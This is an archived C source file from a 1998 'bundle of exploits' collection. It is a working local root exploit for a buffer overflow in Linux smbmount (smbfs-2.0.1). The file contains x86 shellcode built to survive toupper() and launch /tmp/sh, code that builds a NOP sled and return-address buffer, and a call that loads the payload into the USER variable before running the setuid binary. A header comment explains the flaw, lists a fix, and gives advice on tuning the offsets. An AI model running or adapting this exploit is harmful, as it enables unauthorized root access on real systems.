home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / smb_mount.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  3KB  |  96 lines

  1.  
  2. /*
  3. The default parameters to the program
  4. often work, however I have found that the offset parameter sometimes
  5. varies wildly, values between -600 and -100 usually work though, a quick
  6. shell script will scan through these.
  7. */
  8.  
  9. /*
  10. ** smbexpl -- a smbmount root exploit under Linux
  11. **
  12. ** Author: Gerald Britton <gbritton@nih.gov>
  13. **
  14. ** This code exploits a buffer overflow in smbmount from smbfs-2.0.1.
  15. ** The code does not do range checking when copying a username from
  16. ** the environment variables USER or LOGNAME.  To get this far into
  17. ** the code we need to execute with dummy arguments of a server and a
  18. ** mountpoint to use (./a in this case).  The user will need to create
  19. ** the ./a directory and then execute smbexpl to gain root.  This code
  20. ** is also setup to use /tmp/sh as the shell as bash-2.01 appears to
  21. ** do a seteuid(getuid()) so /bin/sh on my system won't work.  Finally
  22. ** a "-Q" (an invalid commandline argument) causes smbmount to fail when
  23. ** parsing args and terminate, thus jumping into our shellcode.
  24. **
  25. ** The shellcode used in this program also needed to be specialized as
  26. ** smbmount toupper()'s the contents of the USER variable.  Self modifying
  27. ** code was needed to ensure that the shellcode will survive toupper().
  28. **
  29. ** The quick fix for the security problem:
  30. **          chmod -s /sbin/smbmount
  31. **
  32. ** A better fix would be to patch smbmount to do bounds checking when
  33. ** copying the contents of the USER and LOGNAME variables.
  34. **
  35. */
  36.  
  37. #include <stdlib.h>
  38. #include <stdio.h>
  39.  
  40. #define DEFAULT_OFFSET                 -202
  41. #define DEFAULT_BUFFER_SIZE             211
  42. #define DEFAULT_ALIGNMENT                 2
  43. #define NOP                            0x90
  44.  
  45. /* This shell code is designed to survive being filtered by toupper() */
  46.  
  47. char shellcode[] =
  48.         "\xeb\x20\x5e\x8d\x46\x05\x80\x08\x20\x8d\x46\x27\x80\x08\x20\x40"
  49.         "\x80\x08\x20\x40\x80\x08\x20\x40\x40\x80\x08\x20\x40\x80\x08\x20"
  50.         "\xeb\x05\xe8\xdb\xff\xff\xff"
  51.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  52.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  53.         "\x80\xe8\xdc\xff\xff\xff/tmp/sh";
  54.  
  55. unsigned long get_sp(void) {
  56.    __asm__("movl %esp,%eax");
  57. }
  58.  
  59. void main(int argc, char *argv[]) {
  60.   char *buff, *ptr;
  61.   long *addr_ptr, addr;
  62.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  63.   int alignment=DEFAULT_ALIGNMENT;
  64.   int i;
  65.  
  66.   if (argc > 1) bsize  = atoi(argv[1]);
  67.   if (argc > 2) offset = atoi(argv[2]);
  68.   if (argc > 3) alignment = atoi(argv[3]);
  69.   printf("bsize=%d offset=%d alignment=%d\n",bsize,offset,alignment);
  70.  
  71.   if (!(buff = malloc(bsize))) {
  72.     printf("Can't allocate memory.\n");
  73.     exit(0);
  74.   }
  75.  
  76.   addr = get_sp() - offset;
  77.   fprintf(stderr,"Using address: 0x%x\n", addr);
  78.  
  79.   ptr = buff;
  80.   addr_ptr = (long *) (ptr+alignment);
  81.   for (i = 0; i < bsize-alignment; i+=4)
  82.     *(addr_ptr++) = addr;
  83.  
  84.   for (i = 0; i < bsize/2; i++)
  85.     buff[i] = NOP;
  86.  
  87.   ptr = buff + (128 - strlen(shellcode));
  88.   for (i = 0; i < strlen(shellcode); i++)
  89.     *(ptr++) = shellcode[i];
  90.  
  91.   buff[bsize - 1] = '\0';
  92.  
  93.   setenv("USER",buff,1);
  94.   execl("/sbin/smbmount","smbmount","//a/a","./a","-Q",0);
  95. }
  96.